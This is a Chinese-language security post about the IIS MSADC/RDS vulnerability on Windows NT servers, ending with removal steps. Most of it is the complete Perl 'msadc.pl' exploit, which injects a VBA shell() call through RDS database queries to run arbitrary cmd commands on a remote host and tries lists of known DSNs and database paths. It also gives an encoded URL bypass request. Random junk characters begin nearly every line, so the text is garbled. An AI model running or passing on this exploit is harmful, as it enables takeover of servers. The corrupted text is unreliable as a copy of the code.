IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*@cXBav/< t \DS}3pv 涉及程序：
V2i*PK
X Microsoft NT server
lsY5QE:Qrp s#)fnNQ , 描述：
@]Iku 6d- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
46Nl];g1` *1ku2e]z 详细：
`Kpn@Xg 如果你没有时间读详细内容的话，就删除:
S w%=/ g c:\Program Files\Common Files\System\Msadc\msadcs.dll
Xy_+L_h^ 有关的安全问题就没有了。
Z7 K ;~* vs7Hg )F 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
C[& \Xq , hT t]w 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
KNQX\-= 关于利用ODBC远程漏洞的描述，请参看:
b0 PF7PEEQ QI=",vma u http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm SD8Q _[rY 5 z5#_*)O 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
EXS
1.3> http://www.microsoft.com/security/bulletins/MS99-025faq.asp y''`73U" ;5PXPpJ 这里不再论述。
::9U5E; ! zK k;&y|{ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
k~ `pV/6 `L]cJ0tAs /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
B3c
rms[' 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Cb x/ r*&gd |sn \[B5j0vV, #将下面这段保存为txt文件，然后: "perl -x 文件名"
$ze%! C -PB m@}* #!perl
,m8l
/wG #
xs.>+(@|; # MSADC/RDS 'usage' (aka exploit) script
jC@$D*"J #
&]ts*qCEL # by rain.forest.puppy
deQ0)A 4g #
@4sv(HyDY # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(05/}PhB` # beta test and find errors!
3RX q/E oa}-=hG use Socket; use Getopt::Std;
g9<*+fV
2$ getopts("e:vd:h:XR", \%args);
U $# ?Lw 9K@`n:Rw print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+Z/ *=; ? E^ ~z- if (!defined $args{h} && !defined $args{R}) {
;R@ zf1UYA print qq~
"n}J6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
)ra_`Qdcf -h <host> = host you want to scan (ip or domain)
Ldf< -d <seconds> = delay between calls, default 1 second
:+bQPzL -X = dump Index Server path table, if available
,gU SW -v = verbose
&UEr4RK;I -e = external dictionary file for step 5
g"`BNI]Qp A'c 0zWV 2 Or a -R will resume a command session
_o'ii
VDuD #:3ca] k ~; exit;}
=A$5~op% -i R}kP| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Uk` ym if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i ' H{cN6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
B~D{p t3y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#OqQD6 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b" 1a7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
M`q >i B z 4HIDb if (!defined $args{R}){ $ret = &has_msadc;
,5mK_iUw3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"n^h'// mn &-:ZM0Fl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
WUvrC . "cmd /c ";
Mi%i_T^i $in=<STDIN>; chomp $in;
COH0aNp; $command="cmd /c " . $in ;
A0m X#EMmB! if (defined $args{R}) {&load; exit;}
ONH!ms(kb AME3hA print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)^q M%k8 &try_btcustmr;
yAy~|1 } xdFm-_\- print "\nStep 2: Trying to make our own DSN...";
-y5^xR &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Ur6UE 2 8`v+yHjG print "\nStep 3: Trying known DSNs...";
!trt]? *- &known_dsn;
TD'Rv Tpl *T-+Pm-Cq print "\nStep 4: Trying known .mdbs...";
FIL?nkYEO &known_mdb;
tSaLR90Y6 5z~rl}`v if (defined $args{e}){
Iojyku\W. print "\nStep 5: Trying dictionary of DSN names...";
4w\
r
`@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?3D|{ d&BocJ print "Sorry Charley...maybe next time?\n";
qsOA(+ZP exit;
JR8 b[Oj.S wN >k&J ##############################################################################
k |k [CL .X il= sub sendraw { # ripped and modded from whisker
Hbu8gqu sleep($delay); # it's a DoS on the server! At least on mine...
9utiev~3 my ($pstr)=@_;
![h+ R@_( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pM],-7UM die("Socket problems\n");
'r~,~ A I if(connect(S,pack "SnA4x8",2,80,$target)){
IFc xyp select(S); $|=1;
jfP2n5X83 print $pstr; my @in=<S>;
\3JZ =/ select(STDOUT); close(S);
m \o<a| return @in;
%X7R_> .
} else { die("Can't connect...\n"); }}
Y~gDS^8 dw#K!,g ##############################################################################
#?\$*@O $M{MOehZ sub make_header { # make the HTTP request
Xb?:dlu3 my $msadc=<<EOT
tS!Fn Qg4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Veo*-sl User-Agent: ACTIVEDATA
_0N=~`' Host: $ip
0zQ"5e?qy Content-Length: $clen
\X.C YkgK Connection: Keep-Alive
a\ ;1%2a ZG[P?fM ADCClientVersion:01.06
8 mj Pa^A Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v%v(-, _q '#RzX8|v< --!ADM!ROX!YOUR!WORLD!
K2$ fKju Content-Type: application/x-varg
kW#,o 9f\ Content-Length: $reqlen
XtY!fo * 1N6.r:wg)% EOT
h
DpIwzJ ; $msadc=~s/\n/\r\n/g;
7=i8$v&GX return $msadc;}
-AnQZy 2;Vss<hR4A ##############################################################################
~e*3_l>9 =^8*]/k sub make_req { # make the RDS request
5&?[ Vt my ($switch, $p1, $p2)=@_;
[Jv0^"] my $req=""; my $t1, $t2, $query, $dsn;
%LyZaU_sB O AJGwm if ($switch==1){ # this is the btcustmr.mdb query
rQmDpoy = $query="Select * from Customers where City=" . make_shell();
Y-!~x 0-H $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
KYE)#<V}@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
XJg8-)T# rPhx^
QKH2 elsif ($switch==2){ # this is general make table query
PD #9Z=Hj $query="create table AZZ (B int, C varchar(10))";
Dl=9<:6FW $dsn="$p1";}
= og>& K 8T6LD elsif ($switch==3){ # this is general exploit table query
^*s DJ # $query="select * from AZZ where C=" . make_shell();
9
5bi
W $dsn="$p1";}
b -? wJSf| eS#kDa/ % elsif ($switch==4){ # attempt to hork file info from index server
$HgBzZ7A2 $query="select path from scope()";
x }\x3U $dsn="Provider=MSIDXS;";}
O[}{$NXw zs/4tNXw elsif ($switch==5){ # bad query
U*sjv6*T $query="select";
w`BY>Xft0 $dsn="$p1";}
J]&^A$ di.yh3N$ $t1= make_unicode($query);
-R %T Dx $t2= make_unicode($dsn);
9mE6 Cp.Wv $req = "\x02\x00\x03\x00";
=MR.*m { $req.= "\x08\x00" . pack ("S1", length($t1));
MoAie|MKe $req.= "\x00\x00" . $t1 ;
jr/ $req.= "\x08\x00" . pack ("S1", length($t2));
#(@!:f1 $req.= "\x00\x00" . $t2 ;
z$g
cK>@l $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|Gp!#D0b return $req;}
L`'#}#O l /ILj}g' ##############################################################################
OlU')0Y Z9
z!YaOL sub make_shell { # this makes the shell() statement
)6+Z9 9w return "'|shell(\"$command\")|'";}
x,wXR=H V 52>K$j ##############################################################################
rR Kbs@1M q+iG:B /Z sub make_unicode { # quick little function to convert to unicode
%G0J]QY{(x my ($in)=@_; my $out;
4X-" yQ<U for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
CdBpz/ return $out;}
bG0
|+k3O _V2^0CZ ##############################################################################
ak,KHA6u %x'}aT a sub rdo_success { # checks for RDO return success (this is kludge)
e
p jb my (@in) = @_; my $base=content_start(@in);
7e NLs
if($in[$base]=~/multipart\/mixed/){
z*V 8l* return 1 if( $in[$base+10]=~/^\x09\x00/ );}
su$IXI#R-& return 0;}
9Lus,l\ :g%hT$,]3b ##############################################################################
WCNycH+1 -L-#-dK' sub make_dsn { # this makes a DSN for us
2[Ofa(mkkp my @drives=("c","d","e","f");
2xLEB& print "\nMaking DSN: ";
3Pu8IXW foreach $drive (@drives) {
# &,W x print "$drive: ";
1NAGGr00 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7x F)\um "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
18^#:=Z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U
g: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?F6L, return 0 if $2 eq "404"; # not found/doesn't exist
awXK9}. if($2 eq "200") {
+3yG8 foreach $line (@results) {
HNJR&U t return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
gmUXh;aHc } return 0;}
/^]/ iTg Ux,?\Vd ##############################################################################
`
0$i^,} tJG+k )EE sub verify_exists {
\gsJ1@ my ($page)=@_;
bO i -QD my @results=sendraw("GET $page HTTP/1.0\n\n");
zG0]!A return $results[0];}
a}e GB + lRk_<A ##############################################################################
mEm=SpO[$o t[e]AU[} sub try_btcustmr {
LR "= ( my @drives=("c","d","e","f");
XF&_**0n my @dirs=("winnt","winnt35","winnt351","win","windows");
`@q\R-` ^B_SAZ&%% foreach $dir (@dirs) {
kYhV1I print "$dir -> "; # fun status so you can see progress
<4LW.q foreach $drive (@drives) {
F?z:[1(: print "$drive: "; # ditto
vfd<qdi3p( $reqlen=length( make_req(1,$drive,$dir) ) - 28;
/0sw rt. $reqlenlen=length( "$reqlen" );
~6"=d $clen= 206 + $reqlenlen + $reqlen;
}qw->+nD A"B#t" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
l4gF.-.GYF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4#Xz-5v else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
J $W4A T T@Bu Fr`]< ##############################################################################
_ Sg "|g gSa !zQN6 sub odbc_error {
{#.<h PXn my (@in)=@_; my $base;
i]#"@xQ my $base = content_start(@in);
Kv9$c(~# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
3PjX;U| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"{S6iH)]8 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
BTzBT%mP $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1{ H=The return $in[$base+4].$in[$base+5].$in[$base+6];}
b'ZzDYN print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
O$n W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]xkh"j+W $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<~*[OwN hj=qWGR gI ##############################################################################
f\rE{% %a I,K0\ sub verbose {
i zYC 0T9 my ($in)=@_;
ken.#>w return if !$verbose;
SiYH@Wma print STDOUT "\n$in\n";}
<vE|QxpR y H (3 m# ##############################################################################
q@G}Hjn bv;. 6C(T< sub save {
v.- r %j{I my ($p1, $p2, $p3, $p4)=@_;
D^QL.Du, open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K'}I?H~P_ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2,Aw 6h; close OUT;}
U(PW$\l oTRid G ##############################################################################
A0>r]<y i&1rf | sub load {
C B`7KK my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[8<0Q_?, open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Qgf\"s @p=<IN>; close(IN);
Ge @qvP_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^AShy`o^X $target= inet_aton($ip) || die("inet_aton problems");
Z
l;TS%$ print "Resuming to $ip ...";
P(s:+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[dR#!"6t if($p[1]==1) {
id588Y78 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>=d 5Scix $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!PA ><F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
'`YZJ if (rdo_success(@results)){print "Success!\n";}
K_AdMXF9 else { print "failed\n"; verbose(odbc_error(@results));}}
UlWm).
b;v elsif ($p[1]==3){
o[1#)& if(run_query("$p[3]")){
+!G J print "Success!\n";} else { print "failed\n"; }}
gKY6S? elsif ($p[1]==4){
}$' XV. if(run_query($drvst . "$p[3]")){
GKbbwT0T| print "Success!\n"; } else { print "failed\n"; }}
]61Si~ Z exit;}
_R(9O?;q Yi]`"\ ##############################################################################
5A$,'%d OTGy[jY" sub create_table {
Zb&pH~ 7 my ($in)=@_;
!g`I*ZE+e $reqlen=length( make_req(2,$in,"") ) - 28;
l X-i <0 ` $reqlenlen=length( "$reqlen" );
q'/o=De $clen= 206 + $reqlenlen + $reqlen;
o%f:BJS my @results=sendraw(make_header() . make_req(2,$in,""));
n|pdYe8\ return 1 if rdo_success(@results);
*T#^|<.XG my $temp= odbc_error(@results); verbose($temp);
@`#x:p: return 1 if $temp=~/Table 'AZZ' already exists/;
hj& ~Dn( return 0;}
z` YC3_d 5*f54 g"' ##############################################################################
mlCBstt{ f`KO#Wc sub known_dsn {
}OhSCH'o6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
o <J6KTLv my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_-sFJi8B "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!-N !Bt8; "banner", "banners", "ads", "ADCDemo", "ADCTest");
qe 'ssX; )7]yzc foreach $dSn (@dsns) {
SuB 8mPn print ".";
gTgoS:M"_O next if (!is_access("DSN=$dSn"));
+I-BqA9 if(create_table("DSN=$dSn")){
kh{3s:RQfC print "$dSn successful\n";
C=|8C70[%N if(run_query("DSN=$dSn")){
{ =\Fc`74 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
B;F ~6i print "Something's borked. Use verbose next time\n";}}} print "\n";}
ah IDKvJ4 ij|>hQC5i ##############################################################################
w[D]\ >QHa p!~1~q6 sub is_access {
D)pTE?@W' my ($in)=@_;
).IyjHY $reqlen=length( make_req(5,$in,"") ) - 28;
vBJxhK- $reqlenlen=length( "$reqlen" );
dC8}Ttc} $clen= 206 + $reqlenlen + $reqlen;
*`|xa@1v` my @results=sendraw(make_header() . make_req(5,$in,""));
,[T/O\k my $temp= odbc_error(@results);
\m~p;B verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*sZH3: return 0;}
6-uLK'E -)B_o#2= 2 ##############################################################################
gwsIzYV P qL. ^ sub run_query {
jVLJ qWP'! my ($in)=@_;
Y8^ WuN$ $reqlen=length( make_req(3,$in,"") ) - 28;
j#2E Q $reqlenlen=length( "$reqlen" );
u]7wd3( $clen= 206 + $reqlenlen + $reqlen;
a??8)=0|} my @results=sendraw(make_header() . make_req(3,$in,""));
!V(r
p 80 return 1 if rdo_success(@results);
s*_fRf: my $temp= odbc_error(@results); verbose($temp);
1og +(m`BL return 0;}
G&Dl($ |`Noj+T47I ##############################################################################
"/RMIS
K[; J BLUX, sub known_mdb {
<&3aP} my @drives=("c","d","e","f","g");
~,oz hj0f/ my @dirs=("winnt","winnt35","winnt351","win","windows");
Rzh.zv xTp my $dir, $drive, $mdb;
kx d*B
P my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\v6 lcAL- Z\U r F0 # this is sparse, because I don't know of many
T&MhSJf# my @sysmdbs=( "\\catroot\\icatalog.mdb",
$Hj;i/zD "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
$2}# ):` "\\system32\\certmdb.mdb",
JB].ht "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
@{q<"hT \o /eF& my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M2w'cdHk "\\cfusion\\cfapps\\forums\\forums_.mdb",
9 &uf
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
09anQHa "\\cfusion\\cfapps\\security\\realm_.mdb",
Z)$@1Q4P?1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q K#wsw "\\cfusion\\database\\cfexamples.mdb",
nw% 9Qw "\\cfusion\\database\\cfsnippets.mdb",
p/RT*?< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
OA=~ i/n~ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
qljsoDG "\\cfusion\\brighttiger\\database\\cleam.mdb",
2_)UHTwsK "\\cfusion\\database\\smpolicy.mdb",
9M3"'^ {$ "\\cfusion\\database\cypress.mdb",
DpvHIE:W "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
d"miPR "\\website\\cgi-win\\dbsample.mdb",
%7}j|eS)G "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
9]w?mHslE "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
f+hHc8g ); #these are just
c AO:fb7 foreach $drive (@drives) {
$-Ex
g* i foreach $dir (@dirs){
}zf!mlk foreach $mdb (@sysmdbs) {
&mmaoWR print ".";
5qW>#pTFVV if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
t"YsIOT:O" print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
!OY}`a(z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
tE {M print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
e2N K7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
v\4<6Z:4 *9$SFe|&n: foreach $drive (@drives) {
.,p=e$x] foreach $mdb (@mdbs) {
;s{' cN[. print ".";
ZK'46lh if(create_table($drv . $drive . $dir . $mdb)){
CX{6 print "\n" . $drive . $dir . $mdb . " successful\n";
9$z$yGj l if(run_query($drv . $drive . $dir . $mdb)){
Vc;[ 0iB print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Tn1V +) } else { print "Something's borked. Use verbose next time\n"; }}}}
}.E^ _` }
<7F-WR/2n |k90a QO ##############################################################################
-5 PVWL\ w6 cl3J& sub hork_idx {
1n!:L!,` print "\nAttempting to dump Index Server tables...\n";
+Tu? PuT7k print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Jj+Q2D: $reqlen=length( make_req(4,"","") ) - 28;
-u'"l(n)~ $reqlenlen=length( "$reqlen" );
2;WbXc!#! $clen= 206 + $reqlenlen + $reqlen;
8$A0 q%n my @results=sendraw2(make_header() . make_req(4,"",""));
irD5;xk([ if (rdo_success(@results)){
K _YOp1 my $max=@results; my $c; my %d;
nL/]Q'(5 for($c=19; $c<$max; $c++){
1J/'R37lP $results[$c]=~s/\x00//g;
$8UW^#Bpq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
'xj5R=V $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
l7qW)<r $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
MkoK(m{7 $d{"$1$2"}="";}
r>peKo[X( foreach $c (keys %d){ print "$c\n"; }
bV&9>fC } else {print "Index server doesn't seem to be installed.\n"; }}
bA#9'Qu^j
)V2W:M ##############################################################################
#8"oqqYi =dDPQZEin sub dsn_dict {
`s T; \ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
,P`NtTN- while(<IN>){
/CNsGx%% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
jL^@;"/XhC next if (!is_access("DSN=$dSn"));
czD" mI! if(create_table("DSN=$dSn")){
2I }p X9 print "$dSn successful\n";
, 7Hyrx` if(run_query("DSN=$dSn")){
aF^N Ye print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9 4ruQ/ print "Something's borked. Use verbose next time\n";}}}
iLuC_.'u= print "\n"; close(IN);}
~>u| 7 M$( 7Gs KD=bl] ##############################################################################
~ W8X g) IoL i7NKw sub sendraw2 { # ripped and modded from whisker
s __xBY sleep($delay); # it's a DoS on the server! At least on mine...
sV
a0eGc my ($pstr)=@_;
;un@E: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vJ6 5F6=G die("Socket problems\n");
I@ue eD Y if(connect(S,pack "SnA4x8",2,80,$target)){
h>\C2Q print "Connected. Getting data";
P\ke%Jdpw? open(OUT,">raw.out"); my @in;
/ki-Tha select(S); $|=1; print $pstr;
pvyEs|f=% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
o c( '!c close(OUT); select(STDOUT); close(S); return @in;
. &j+& } else { die("Can't connect...\n"); }}
)&j`5sSXcr =eQB-Xe8Y ##############################################################################
N:| :L:<1 ~ h3G}EH sub content_start { # this will take in the server headers
_P qq* my (@in)=@_; my $c;
Uw.')ZY= for ($c=1;$c<500;$c++) {
Z5 IWoY if($in[$c] =~/^\x0d\x0a/){
OA3J(4!"W if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
MZ,1 mR else { return $c+1; }}}
b`#YJpA return -1;} # it should never get here actually
YJ6~P T[|#DMg$F ##############################################################################
Qs,\P^n kx;X:I(5&P sub funky {
3 ?*d v14 my (@in)=@_; my $error=odbc_error(@in);
2 3PRb<q if($error=~/ADO could not find the specified provider/){
-| m3=# print "\nServer returned an ADO miscofiguration message\nAborting.\n";
JK =A= exit;}
#! R>`l(S if($error=~/A Handler is required/){
}b(h D|e print "\nServer has custom handler filters (they most likely are patched)\n";
Th9V8Rg+E exit;}
W`G bo
uxd if($error=~/specified Handler has denied Access/){
! t23
_b0 print "\nServer has custom handler filters (they most likely are patched)\n";
,]2?S5R exit;}}
x'`{#bKD ' 2 r ##############################################################################
<x^$Fu Z?'CS|u d sub has_msadc {
sq_>^z3T my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
c]|vg=W my $base=content_start(@results);
n;Oe- +oSC return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
7 <^+)DsS? return 0;}
2 L4[~> ]H
n:c'aT ########################
rS BI'op )sm9%|.& hc|A:v)] 解决方案：
y5j:+2|I 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
:.*Q@ X}-I 2、移除web 目录: /msadc
